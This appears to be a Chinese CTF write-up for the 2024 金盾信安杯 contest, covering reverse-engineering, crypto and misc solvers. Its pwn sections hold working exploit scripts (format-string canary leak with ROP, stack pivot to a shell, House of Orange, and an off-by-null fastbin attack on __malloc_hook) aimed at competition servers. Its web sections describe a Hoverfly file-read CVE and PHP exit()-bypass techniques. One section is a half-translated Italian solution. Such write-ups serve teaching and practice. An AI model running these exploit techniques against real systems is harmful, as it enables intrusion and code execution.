2024金盾信安杯线上题目wp
xhys 发表于 河南 CTF 388浏览 · 2024-12-04 07:08

逆向的babyre


32位无壳,IDA打开


两个smc自解密
68行下断点,动调


输入32个a绕第一个长度判断


然后分析sub_F112F0()和sub_F11130()两个函数


sub_F112F0()是对我们输入的字符中的大小写字母进行了偏移


没有找到我们想要的结果,回过头继续分析


sub_F11100()函数中存在反调试


eax的值改成0,绕过反调试


第二层smc


有一条花指令,把jmp给nop掉就好


找到关键的tea加密,动调找sum值,找一个tea解密脚本一套就好


数据

exp:

#include <stdio.h>
#include <stdint.h>
#include <string.h>
void string_to_uint32_array(const char* input, uint32_t* output) {
    for (int i = 0; i < 4; i++) {
        output[i] = ((uint32_t)input[i * 4] << 24) |
            ((uint32_t)input[i * 4 + 1] << 16) |
            ((uint32_t)input[i * 4 + 2] << 8) |
            ((uint32_t)input[i * 4 + 3]);
    }
}
//加密函数
void encrypt(uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1], sum = 0, i;
    /*printf("正在加密的数据:0x%x 0x%x\n", v[0], v[1]);*/
    uint32_t delta = 0x9e3779b9;
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
    for (i = 0; i < 32; i++) {
        sum += delta;
        v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
    }
    v[0] = v0; v[1] = v1;
}

//解密函数
void decrypt(uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i;
    uint32_t delta = 0x9e3779b9;
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
    for (i = 0; i < 32; i++) {
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum -= delta;
    }
    v[0] = v0; v[1] = v1;
}

uint32_t* change_key(uint32_t* key)
{
    for (int i = 0; i < 4; i++)
    {
        key[i] = key[i] ^ 0x52;
    }
    return key;
}

void caesar_encrypt(char* input, char* output, int shift) {
    for (int i = 0; i<16; i++) {
        // 处理大写字母
        if (input[i] >= 'A' && input[i] <= 'Z') {
            output[i] = (input[i] - 'A' + shift) % 26 + 'A';
        }
        // 处理小写字母
        else if (input[i] >= 'a' && input[i] <= 'z') {
            output[i] = (input[i] - 'a' + shift) % 26 + 'a';
        }
        else {
            output[i] = input[i]; // 非字母字符不变
        }
    }
    output[strlen(input)] = '\0'; // 添加字符串结束符
}
void caesar_decrypt(char* input, char* output, int shift) {
    caesar_encrypt(input, output, 26 - shift); // 解密等同于加密
}
int main()
{

    uint32_t v1[8]={ 0x369a1583,0x9a9e6d, 0xbe761c60, 0x3ed644a0, 0x64716a51 ,0x6c49686c, 0x546c4f64 ,0x6c21217d }; 
    uint32_t k[4] = {0x1234,0x3456,0x5678,0x7890};
    uint32_t* kk =  change_key(k);
    decrypt(v1, k);
    decrypt(v1+2, k);
    printf("解密后的数据:0x%x 0x%x 0x%x 0x%x\n", v1[0], v1[1],v1[2], v1[3]);
    char flag2[16];
    char flag1[16];
    int index = 0;
    int index1 = 0;
     for (int i = 0; i < 4; i++) {
        for (int j = 3; j >= 0; j--) { // 每个 uint32_t 有 4 个字节,逆序输出
            uint8_t byte = (v1[i] >> (j * 8)) & 0xFF; // 获取第 j 个字节
              flag1[index++] = (char)byte;

        }
    }
    for (int i = 4; i < 8; i++) {
        for (int j = 3; j >= 0; j--) { // 每个 uint32_t 有 4 个字节,逆序输出
            uint8_t byte = (v1[i] >> (j * 8)) & 0xFF; // 获取第 j 个字节
//            printf("%c", byte); // 输出字节
              flag2[index1++] = (char)byte;

        }
    }
    char flag3[16];
    caesar_decrypt(flag2,flag3,3);
    for(int i=0;i<16;i++)
    {
        printf("%c",flag1[i]);
    }
    for(int i=0;i<16;i++)
    {
        printf("%c",flag3[i]);
    }
    return 0;
}

pwn-green

32位程序


Main函数中前两行只是初始化,分析func函数


存在栈溢出和格式化字符串漏洞
然后再查一波字符串


没有后门,但是有个.rodata:0000200D 00000010 C Flag not found!。
去虚拟机里面查一波保护


保护全开
根据刚刚的字符串找到判断逻辑


通过修改ebx寄存器中存储的地址值,我们可以绕过对环境变量中flag的读取判断,从而直接获取所需的flag值。F5看看


这里也不需要我们执行system(“/bin/sh”)提权了,直接就能输出flag的值
在虚拟机里面运行一下


泄露出canary


查一下rop链,有可用的rop


拿到flag

exp

from pwn import *

exe = ELF("./green")

context.binary = exe
offset1 = 0x1463

# r = process("./green")
r = remote("47.99.133.209",52578)

r.sendline(b"%11$p/%15$p")
r.readuntil(b'luck.')
leak = r.readuntil(b'/').strip()
value = int(str(leak)[2:-2],16) - 0x3fb4
log.success(hex(value))
cana = r.read().strip()
cval = int(str(cana)[2:-1],16)
log.success(hex(cval))
exe.address = value
rop = ROP(exe)
rop.check1(0x1337)
rop.check2(0x420)
rop.check3(0xdeadbeef)
rop.finalcheck(0x123)
payload = b'A' * 32
payload += p32(cval)
payload += b'A' * 12
payload += rop.chain()
print(rop.dump())
r.sendline(payload);
r.interactive()

PWN-stackmaigration


在main函数中首先先进行了三个初始化,然后调用了一次puts函数,继续分析vul()。


这里return了一个read函数,会造成栈溢出
这里直接给了我们一个s,运行一下


这里给出了我们一个地址0x7ffd677ffb40,先记下


这里给了我们一个system后门


拿到可以利用这个system函数,我们输入一个”/bin/sh\x00”字符串就行


然后checksec查一下保护,然后发现有nx保护
查一下rop链看一下有没有可用的rdi


有一条可用的0x0000000000400963 : pop rdi ; ret


找到返回地址0x0000000000400896
先将”/bin/sh”这个字符串弹到rdi,再调用system函数,然后平衡堆栈。

exp

from pwn import *
file_name = "./stackmigration"
io = remote('47.99.133.209', 50844)
#io = process(file_name)

context(arch=elf.arch, log_level='debug', os='linux')

lr = 0x400896
pop_rdi = 0x400963
call_system = 0x400835
io.recvuntil("Give you a gift:")
stack = int(io.recv(len("0x7fff8ae99b90")),16)
log.info("stack:"+hex(stack))
fake_ebp = stack - 8
payload = flat(pop_rdi, stack + 0x18, call_system, "/bin/sh\x00", fake_ebp, lr)
io.recvuntil("Do you still have something to say?")
io.sendline(payload)
io.interactive()

pwn-Orange

题目名字叫orange,猜测可能是用house of range的方法
来到main函数,先看菜单


再依次查看add函数edit函数和show函数,发现edit存在堆溢出


查一下字符串,发现有后门


跟踪一下来到target()函数


Checksec查看一下保护


发现可以劫持got表,而且没有PIE保护。
在IDA中找到后门函数的位置


0x4009B7
看一下我们第一个add后的堆的分布情况


查一下elf,got,和plt


再申请一个大小为0xf40和大小为0x90的两个chunk


首先用House of Orange获取fastbin地址,然后用堆溢出house of spring的方法,泄露got表地址,接着把puts的got表写进list中的第一个位置,最后edit第一个chunk内容替换为后门函数。

exp

from pwn import *
from ctypes import *
from LibcSearcher import *
import sys

ls      = lambda data               :log.success(data)
lss     = lambda s                  :ls('\033[1;31;40m%s ---> 0x%x \033[0m' % (s, eval(s)))

filename = './Orange'
url = ''

context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
context.log_level = 'debug'

match = re.match(r'([^:\s]+)(?::(\d+)|\s+(\d+))?', url)
hostname, port = (match.group(1), match.group(2) or match.group(3)) if match else (None, None)
p = (remote(hostname, port) if len(sys.argv) > 1 and sys.argv[1] == 're' else process(filename))
if len(sys.argv) > 1 and sys.argv[1] == 'de':
    gdbscript = '''
    b * 0x0000000000400B43
    '''
    gdb.attach(p, gdbscript=gdbscript)
    print("GDB attached successfully")
elf = ELF(filename)

def add(size , content) :
  p.sendafter('Please enter your choice>>\n' , b'1')
  p.sendafter('input your note size' , str(size))
  p.sendafter('input your note' , content)

def edit(idx , size , content) :
  p.sendafter('Please enter your choice>>\n' , b'2')
  p.sendafter('input note index' , str(idx))
  p.sendafter('input your note size' , str(size))
  p.sendafter('input your note' , content)

def show(idx) :
  p.sendafter('Please enter your choice>>\n' , b'3')
  p.sendafter('input index' , str(idx))

add(0x10 , b'aaaa')
payload = 0x18 * b'a' + p64(0xfe1)
edit(0 , len(payload) , payload)
add(0xf40 , b'bbbb')
add(0x90 , b'cccc')
fake_chunk = 0x60209d
payload = b'a' * 0xf48 + p64(0x71) + p64(fake_chunk)
edit(1 , len(payload) , payload)
add(0x60 , b'aaaa')
add(0x60 , b'aaaa')
puts_got = elf.got['puts']
payload = b'a' * 0x13 + p64(puts_got)
edit(4 , len(payload) , payload)
show(0)
p.recvuntil('\n')
leak_addr = u64(p.recv(6).ljust(8 , b'\x00'))
lss('leak_addr')
libc = LibcSearcher('puts' , leak_addr)
base_addr = leak_addr - libc.dump('puts')
binsh = 0x400987
payload = p64(binsh)
edit(0 , len(payload) , payload)

p.interactive()

pwn-babyheap

来到main函数,先看菜单


依次查看add,edit,show,delete四个操作


Add函数就是正常的输入和分配内存空间。


在edit中没有free函数,也不存在堆溢出


Show也是正常打印chunk中的内容


Delete函数中也不存在uaf漏洞
查字符串,没有找到后门函数


但是在read_input函数中发现off-by-null漏洞。


还是checksec先查一下保护


没有pie,还可以劫持got表


查一下rop链,有可以利用的rsp去满足one_gadget的条件
申请4个chunk然后查看一下堆的分布


可以利用off-by-null漏洞构造堆块重叠,然后利用堆块重叠修改fastbin的fd指针进行fastbin attack。最后打malloc_hook用realloc调节rsp的值,以满足one_gadget的条件。

exp

from pwn import *
from ctypes import *
import sys
import time


ls      = lambda data               :log.success(data)
lss     = lambda s                  :ls('\033[1;31;40m%s ---> 0x%x \033[0m' % (s, eval(s)))

filename = 'babyheap'
url = '114.55.67.167:50739'

context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
context.log_level = 'debug'
# io = process(filename)
# gdb.attach(io)
match = re.match(r'([^:\s]+)(?::(\d+)|\s+(\d+))?', url)
hostname, port = (match.group(1), match.group(2) or match.group(3)) if match else (None, None)
p = (remote(hostname, port) if len(sys.argv) > 1 and sys.argv[1] == 're' else process(filename))
if len(sys.argv) > 1 and sys.argv[1] == 'de':
    gdbscript = '''
    b * main
    '''
    gdb.attach(p, gdbscript=gdbscript)
    print("GDB attached successfully")    
elf = ELF(filename)
libc = ELF('./libc-2.23.so')
def add(size , content) :
  p.sendafter('Choose an option >> ' , b'1')
  p.sendafter('How much do you want\n' , str(size))
  p.sendlineafter('Enter something?' , content)
def edit(idx , content) :
  p.sendafter('Choose an option >> ' , b'2')
  p.sendafter('input index\n' , str(idx))
  p.sendlineafter('Enter something?' , content)

def show(idx):
  p.sendafter('Choose an option >> ' , b'3')
  p.sendafter('Give me a index.Let you see see\n' , str(idx))

def free(idx) :
  p.sendafter('Choose an option >> ' , b'4')
  p.sendlineafter('input index\n' , str(idx))


add(0x100 , b'aaaa') #0
add(0x30 , b'ccc') #1
add(0x68 , b'dddd') #2
add(0xf0 , b'eeee') #3
add(0x10 , b'ffff') #4

# pause()

payload = p64(0) * 12 + p64(0x1C0)
edit(2 , payload)
free(0)
free(3)
add(0x100 , b'aaaa') #5
show(1)
main_arena = u64(p.recv(6).ljust(8 , b'\x00')) - 88
lss('main_arena')
malloc_hook = main_arena - 0x10
base_addr = malloc_hook - libc.sym['__malloc_hook']
lss('base_addr')
one_gadget = [0x4527a , 0xf03a4 , 0xf1247]
execve = base_addr + one_gadget[0]
free(2)
add(0xA0 , b'bbbb') 
fake_chunk = malloc_hook - 0x23
payload = p64(0) * 7 + p64(0x71) + p64(fake_chunk)
edit(2 , payload)
add(0x60 , b'ccc')
add(0x60 , b'hhh')
lss('fake_chunk')
realloc = base_addr + libc.sym['realloc']
payload = 11 * b'a' + p64(execve) + p64(realloc + 14)
edit(5 , payload)
lss('malloc_hook')
# sleep(3)
p.sendafter('Choose an option >> ' , b'1')
p.sendafter('How much do you want\n' , str(0x10))

p.interactive()

逆向-eazyre

来到main函数,发现有花指令


这里有个反调试,再返回汇编分析


所以这个也nop掉,绕过调试


密文:
XPiEuC7pvsk6A6y7tibZ6ofs8RMaTp8DLb6kXalsmLLsy5T5xp3v41E=
然后回到主函数


继续分析sub_4014D0,sub_401130,


这是一个rc4


这是一个base
先解密rc4,然后再用厨子解base

exp

#include<stdio.h>
typedef struct _RC4INFO
{
    unsigned char s_box[256];
    unsigned char t_box[256];
}RC4_INFO,*PRC4_INFO;           
void rc4_init(PRC4_INFO prc4,unsigned char key[],unsigned int keylen)
{
    int i=0;
    int j=0;
    unsigned char tmp;
    if(prc4==NULL)
    {
        return;
    }

    for(i=0;i<256;i++)
    {
        prc4->s_box[i] = i;
        prc4->t_box[i] = key[i % keylen];   
    }

    for(i=0;i<256;i++)
    {
        j=(j+prc4->s_box[i]+prc4->t_box[i])%256;
        //开始交换
        tmp=prc4->s_box[i];
        prc4->s_box[i]=prc4->s_box[j];
        prc4->s_box[j]=tmp;
    }
} 

void rc4_crypt(unsigned char data[],unsigned int datalen,unsigned char key[],unsigned int keylen)   
{
    int dn=0;   //data[n]的意思
    int i=0;
    int j=0;    //i j分别用于交换sbox[i] 和 sbox[j]
    int t=0;    //t = s[i] +s[j]
    unsigned char tmp;

    RC4_INFO rc4;      
    rc4_init(&rc4,key,keylen); 

    for(dn=0;dn<datalen;dn++)
    {
        //i确保S-box的每个元素都得到处理,j保证S-box的搅乱是随机的。
        i=(i+1)%256;
        j=(j+rc4.s_box[i])%256;

        //交换 s_box[i] 和 s_box[j]
        tmp=rc4.s_box[i];
        rc4.s_box[i] = rc4.s_box[j];
        rc4.s_box[j] = tmp;
 //交换完之后 再把s[i] + s[j]的组合当做下标再去异或.
        t = (rc4.s_box[i] + rc4.s_box[j]) % 256;
        data[dn] ^= rc4.s_box[t];
    } 
}
void EntryBuffer(unsigned char data[],unsigned int datalen)
{
    unsigned char key[]= {0x13, 0x37, 0x42,0x85};
    rc4_crypt(data,datalen,key,sizeof(key)/sizeof(key[0]));
}

int main()
{
//  char Hell[] = "flag{2aed4771-b75048e3-db87779b-a3811911}";
    char Hell[] ="0xf0,0x52,0x47,0x16,0x4a,0xce,0xe3,0xfd,0x75,0xc2,0xdd,0x20,0x73,0x80,0x58,0xab,0xd4,0x25,0xca,0xcf,0x30,0xd,0x7b,0x19,0xa4,0x98,0x88,0xaa,0x26,0xb0,0x17,0x5d,0x94,0x87,0x92,0xbe,0x38,0x9a,0x8c,0x7c,0xf6";

    EntryBuffer((unsigned char*)Hell,sizeof(Hell)/sizeof(Hell[0]));
    printf("%d\n",sizeof(Hell)/sizeof(Hell[0])); //加第一次调用就是加密 
    int i=0;
    for(i=0;i<sizeof(Hell)/sizeof(Hell[0]);i++)
    {
 //      
        printf("0x%x,",(unsigned char)Hell[i]);
        printf("%c",(unsigned char)Hell[i]);
    }
    printf("\n%d\n",i);
    EntryBuffer((unsigned char*)Hell,sizeof(Hell)/sizeof(Hell[0])); 
    printf("解密后:pData=%s\n\n", Hell);
    return 0;
}

web-fillllll_put


Get传参 filename和content

File_put_contents 写入代码进文件。

Filename传 文件名,content传 代码

但是中间存在 <?php exit(); 死亡函数

所以需要绕过此函数

<?(); 不会被base64编码。所以被编码的只有 php exit 只有7位
那么我们的base64编码后的数据加一位即可。


经过遍历发现,flag即不在根目录,也不在网站目录,env中也没有,最终flag在tmp里

web-Hoverfly

搜索这个Hoverfly

Hoverfly 是一个提供的轻量级服务虚拟化/API模拟/API模拟工具。

/api/v2/simulation 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。
这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。

首先抓取这个路由查看


需要传json


发现能够命令执行
那么可以找找flag

通过字典爆破
在根目录和网站目录都未找到flag

但是不在根目录和网站目录会在哪里?根据第一题的flag在tmp中。通过爆破


只有俩个是200


但是报错?
发现网上的文字使用PUT也可进行文件包含。尝试
https://github.com/wy876/POC/blob/main/Hoverfly/Hoverfly%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3simulation%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0(CVE-2024-45388).md


成功获取

web-ssrf


题目名说是ssrf,

进行绕过

尝试了[::],@,特殊域名,进制转换,句号等都不行。

最后使用短链接发现可行。

使用站长工具


可以发现得到原码。读下flag
flag位置在flag.php

web-ezpng

下载附件打开


有一个flag.png与password.txt

查看password.txt,经过一把梭发现是base64


密码是 cimbar
不知道这个密码有什么用,但是搜到了一个github 是用来
cimbar 是一种概念验证的二维数据编码格式——非常类似于QR 码、JAB 码和微软的 HCCB。
查看图片,最终fuzz到了是xor


保存图片到本地
得到新图片,


打开发现与找到github项目中的类似,尝试使用这个项目运行脚本


使用脚本运行

Python -m cimbar.cimbar 1.png -o flag.txt


虽然报错,但是成功输出文件

签到题-大赛宗旨

0宽隐写


ZmxhZ3s1ZDU1NTVmYS0xMzAzLTRiNDMtOGVlZi1kNmVhN2M2NGMzNjF9


flag{5d5555fa-1303-4b43-8eef-d6ea7c64c361}

misc-esab

解密网站:https://www.wqtool.com/basecode

先进行翻转,觉得这是base62


VnUvMlo+emByJSNPaEV9aXhKIzxnb1J2c1IkJmFbTG1YeixKXyp7eyskcSp9WV9pX3FrPSZpMGVASnomJF5SVSVHVmZ2biFTUSY/NE85QGliclQuZ28hWTJUJiZRXkxtXnclSVJbL0I=


然后base64
Vu/2Z>z`r%#OhE}ixJ#<goRvsR$&a[LmXz,J_{{+$q}Y_i_qk=&i0e@Jz&$^RU%GVfvn!SQ&?4O9@ibrT.go!Y2T&&Q^Lm^w%IR[/B
特别像base91解密


opoNo5otsJcpcdchc9cxclo9ol8Rolctopc18RcBopc1o58Ropo9cBc18Rcxoho5cdo5c9ctopodolc1cpsR
然后base62解密


flag{634285be-e7f0-9f0a-fb90-8da3a27fce06}

密码-ezrsa

签到题,中国剩余定理

from Crypto.Util.number import *
import gmpy2
from functools import reduce

# 模数列表 n_list 和 密文列表 c_list
n_list = [
    66713068295640123413518043679913370923560077389016834699625591280879282047385580519245403302207114741281472997841541531287076973224279941649021535158376552494753299204575589142430284284245902413434936761821799053759034189893017134579658955719886273361722719112743586542747088480330917580156612938839250815003,
    93220359729942518400923319353609855683086052837300675001244736571202233288801372553449408397689671981434057617518899402068905085286369656470335384345232065925153852793862944459424133537991621353691699611625715366974136180583843591508153614052037629606307298558367556655731098521869053032772401730403014449411,
    52202773445480937424957100107218762961120283036868010272682251953657674323304499771956016361962421205773156515507563827756643249104742340232742821376488784769891503342865868526919624818397054897905012127075859262952310097157907061344025347963650086443568680953905161157142612464840961117362620801749842408879,
    82553091456291336768427636001211333148350777177895589619884526855175557207820633168970479619932906390584318202289854140553376548714411052752572009881543144730480476077880021537960949338405404958761168462246680451456125133754632997631949332320326017613289694983606666716680033606392964861804003584352680590087,
    126128435524890593300334615443194513842505260782298991058088278168395895439505633982038040121402360495508323195308297803504735565186008100115370181050483351447644843345197960248620729714988601407534725902209206970706208957109895421381133644050169949239120391954419828419646235622192096983089233429399798724487,
    147720770377839100046936497325485136233566856174851147500154290566277684557076944335857851098373121814105829685203159352831436378953250080092174133899668012220790232079503109510689810335337728388773927584457619779716463492595401880008310538176873629037401466975901825628623051950211929925214837578332196553599,
    124745293442434036385822462573709029035838193243455140374004343372128515081182349880050066834995439331895246886612935567956942945644079345244280145073777541185777585728280312507028128615465026099188525829472122192943136139654002445255523350717509722226068753864376920017221041478273347340655965581264836805623,
    64656553220163718805421487264999277997892395292051840710229549012813342103500529051439814363514417257605481961558538034337044004386537267801729555014122714842391331402276971310101298482954289819202770742743469979203276082437481909854637859797102334245371638799858873873188431752871644960079701293335747461831,
    154462961163638672730309927702785192434305799838715175474990142746477464921396636812042793324143787346439455100764604617253217478519575381751036655163922606997960615852053060424250051534473828208356751768540768480213916080575159287230278791786807130716553816283037177870759790969384364642653232602468977815247
]

c_list = [
    51005516677417731886422613156402193350848583130533301906631992184482032048070107769818228079761720652832901023407822071655421580929907698799917933792960386846321370913559830272810379334182054783031538600198349058002169866824222330811827319616021940546950576540874306599558331332151055146737648080935494708588,
    2041821123943473753926018035036127142293912801344695164334852819344638501433889053269955640381265246796708182948891351463478165192547358805280444112021688736247730161578747136357928895397269414940719487328949498438102882593196857341527917555021413367950508316840335830689597383465186358872674808025884021885,
    46039089253322895811415983657459035212735944272443483136853555344667290454119007801590490041259097151897732463907281406082335077604849132078446981231884370863820232336507275455767858612185246444188147542289218495584026583448273138219905723711108672612950627623799697592779175874022447423932452148543363787640,
    2141453012108157552120303062697739340853570994155675106097651019594420129141220901608419609082415135997293880005773756263389204887711558521855045106895075772213924319456997007171536138494274692890230609458290192980986669338031109788977632895632700245278069147479684426240615061064967367694067860411487423629,
    76749087885794868408562971424611464076430009398548197992247726105066117869497135062312665153772469258809032481701272674637826659858835954148415069808346193613807990801293969464455284990574537791095652240744633974209776335844454832745233667455060558077310143770445403006416969005307667369727581132297960295340,
    129889778177138425060084420953465203875702152174072537346221842914157406769944362646320734563342499686995626438417203633387851527307925692308799272755919745234368065011417961931673684360135410907645818314090652813758836919104618375252457260402923145245889643621469138808848260838951643210609251572858120327495,
    108052613612357352725536091796067255652024419037660964052217185481829734452037779785712215364053116702484384622526267250489021108209478623969497489177944680864365447787229766222546592710250224997176901299205943666999952675444279695627743788911406784072960143874125846847184624670127441248507191247442198460789,
    25928340017378545972137564258602345053659415847643859318668245604506696128407382577187489651429812610536514435867501876671515838666597930094267436053423009057513573482499095162969953109513790712156495250568946074742211364960292725805474100283556046328318406696121063618778241916883747109525050277568846023327,
    5719067069866090256610955425807298842117899833885283417646439095103501424652337751644977233509637214830422145008935269688470956058326551761160898415661754588089616594231873985715403389476818739027591464587460581924534479591703919621116231727841975375866296368110957023963777324175359081722392018178256892283
]

e = 9  # RSA 加密使用的指数


# 中国剩余定理(CRT)函数
def CRT(mi, ai):
    assert (reduce(gmpy2.gcd, mi) == 1), "模数不是互质的"  # 确保模数是互质的
    assert isinstance(mi, list) and isinstance(ai, list), "输入应该是列表类型"  # 确保输入是列表

    M = reduce(lambda x, y: x * y, mi)  # 计算 M = n1 * n2 * ... * nn
    ai_ti_Mi = [a * (M // m) * gmpy2.invert(M // m, m) for m, a in zip(mi, ai)]  # 使用中国剩余定理公式
    return reduce(lambda x, y: x + y, ai_ti_Mi) % M  # 计算并返回模 M 的结果


# 使用 CRT 合并模数和密文,得到加密后的明文
m = gmpy2.iroot(CRT(n_list, c_list), e)[0]

# 将解密后的明文转换为字节格式并打印
print(long_to_bytes(m))

密码-Madoka Runes

得到原图发现是


发现是魔法少女文字,根据对应的表一对一解密


得到密码:ctf951zhen
解开压缩包得到flag

misc-windows

拿到的文件,无法打开,使用rot13后发现PK标识


保存下来,发现这个zip存在密码。
使用john进行爆破


爆破出是p@ssw0rd

解压出来是一个日志文件,直接事件查看器,先看4624


这么多登录成功

根据题目描述试试黄金票据

4768:客户端向 KDC 请求 TGT
4769:请求服务票据
4624:用户登录成功

看下4768

???


有三个


第三个的用户和第二个一样

所以只有俩个用户

通过MD5 用户名+时间得到flag

密码-4door

轮子模版:https://github.com/jvdsn/crypto-attacks/blob/master/attacks/factorization/complex_multiplication.py
后门攻击,在曲线上和商环上做
轮子导入本地sage教程


然后解压出attacks和shared


创建个0.ipynb就能跑了

exp

from attacks.factorization import complex_multiplication


import sys

sys.setrecursionlimit(10**6)

n = 23905475512365883122674408238955539155764722366217012545397874540862337334240016295800125839666379728072321165937705962913280606073090970895142797828890967895964711232778350747246145437063213797431406035930174111043042340520332940609525581739023092298039562772423262765827124701021969335352335683792731683921665507741401586702876932709526723050390599457874833474203654573826450071697539641600322677144352938390876652392608502272076553363040364616750658572691385895505437242478151873823349763431066100830530865683577851333177933883559685556857237139613218194081446956323024853443261620884805303981306446372802015044771639426999749528610475388861786694864415139994859276371131942573350304814695091460001587702769577342755316734174332921026422723617077752187651429392825613071820790930071213362634211053716954311368831862903499625111683201402526987572026698743470957191372997973386719129801283901357299485943586220652418988756989
c = 20290124145262596131171262098400968763029234061511934834222170323336352789493462981125252905144849253567410785045251291281965974162517541092753592621976991536420386296008923067690131499917309230770425673361420526278705677868350261448920451435130093572132312421788350025260541205230414987558889506859141578553149107724691009183251887162853495222266814426521607565821520571300280892509216229126792313714540405688099386257359428381050142559724638272785150430571010230291579795372462576424848672863369953788642729601376423815467431808384249324317160756723240875922680353619529182039048235291664132823541196629191203977620809650328092884416626985657394934834405937347004155818332568478234548850387649090494274601825700088378489565113317791020951975667943227729845304723849530630874343911522720043521661229624936713672517051272032637783376281256972132726759806237600969520741491040216491707848210629024308070724592683363625778406304

p, qr = complex_multiplication.factorize(n, 43)
q, r = complex_multiplication.factorize(qr, 67)
print([p, q, r])


d = pow(65537, -1, (p - 1) * (q - 1) * (r - 1))
m = pow(c, pow(65537, -1, (q - 1) * (r - 1)), q * r)

print(bytes.fromhex(hex(m)[2:]))

misc-so far so good

国外原题:
https://github.com/OliCyberIT/OliCyber.IT-Writeups/blob/master/2024-nazionale/misc03.md

对 Arduino 的草图进行分析,将其与 ChaCha20 一起使用。
根据 Arduino 的个性化协议消息消息,dobbiamo:

Estrarre i pacchetti USB BULK-IN/BULK-OUT dal Flusso TCP nella cattura di rete
发送有关 pacchetti USB 个性化协议的消息
Dopo aver estratto tutti i messagesaggi,

chiave通过操作码发送消息0x74
nonce通过操作码发送消息0x11
通过操作码恢复ciphertext所有内容和消息的连续性0xC1
废除flagChaCha20(key, nonce, ciphertext)

import pyshark
from collections import defaultdict
from Crypto.Cipher import ChaCha20
import sys

KEYSET    = 0x74
NONCESET  = 0x11
STORE     = 0xC1
RESET     = 0xB8
ACK       = 0x14
ERROR     = 0xFF

streams = defaultdict(lambda: b"")
cap = pyshark.FileCapture(f"dump.pcapng")

for p in cap:
    try:
        i = int(p.tcp.stream)
        streams[i] += bytes.fromhex(p.data.data)
    except:
        pass
cap.close()

stream = streams[0]

kidxs = [i for i, x in enumerate(stream) if x == KEYSET]
nidxs = [i for i, x in enumerate(stream) if x == NONCESET]
print(f'{kidxs = }')
print(f'{nidxs = }')


def read():
    global stream
    s = stream[0]
    stream = stream[1:]
    return s

class Message():
    def __init__(self) -> None:
        self.code = None
        self.param = None
        self.len = None
        self.data = None

    def read(self):
        self.code = read()
        self.param = read()
        self.len = read()
        self.data = []
        for i in range(self.len):
            self.data.append(read())

    def handle(self):
        global KEY, IV, cipher, keyset, nonceset, cipherset
        match self.code:
            case KEYSET:
                for i in range(32):
                    KEY[i] = self.data[i]
                keyset = True
                cipherset = False
            case NONCESET:
                for i in range(8):
                    IV[i] = self.data[i]
                nonceset = True
                cipherset = False
            case STORE:
                if not keyset or not nonceset:
                    return
                if not cipherset:
                    cipherset = True
                    cipher = ChaCha20.new(key=bytes(KEY), nonce=bytes(IV))
                dec = cipher.decrypt(bytes(self.data))
                for i in range(self.len):
                    FLAG[10 * self.param + i] = dec[i]
                if -1 not in FLAG:
                    print(bytes(FLAG))
                    return True
            case RESET:
                KEY = [0] * 32
                IV = [0] * 8
                keyset = False
                nonceset = False
                cipherset = False

_stream = stream[:]
for ki in kidxs:
    for ni in nidxs:
        if ki > ni:
            continue

        print('key index:', ki, '\tnonce index:', ni)

        KEY = [-1] * 32
        IV = [-1] * 8
        FLAG = [-1] * 40
        keyset = False
        nonceset = False
        cipherset = False
        cipher = None

        try:
            stream = stream[ki:]
            m = Message()
            m.read()
            m.handle()

            stream = stream[ni-ki-35:]
            m = Message()
            m.read()
            m.handle()

            while len(stream)>0:
                ni = stream.index(NONCESET) if NONCESET in stream else 99999
                si = stream.index(STORE) if STORE in stream else 99999
                next_idx = min([ni, si])
                stream = stream[next_idx:]
                m = Message()
                m.read()
                if m.handle():
                    break
        except:
            print('Exception')
            pass
        stream = _stream[:]
0 条评论
某人
表情
可输入 255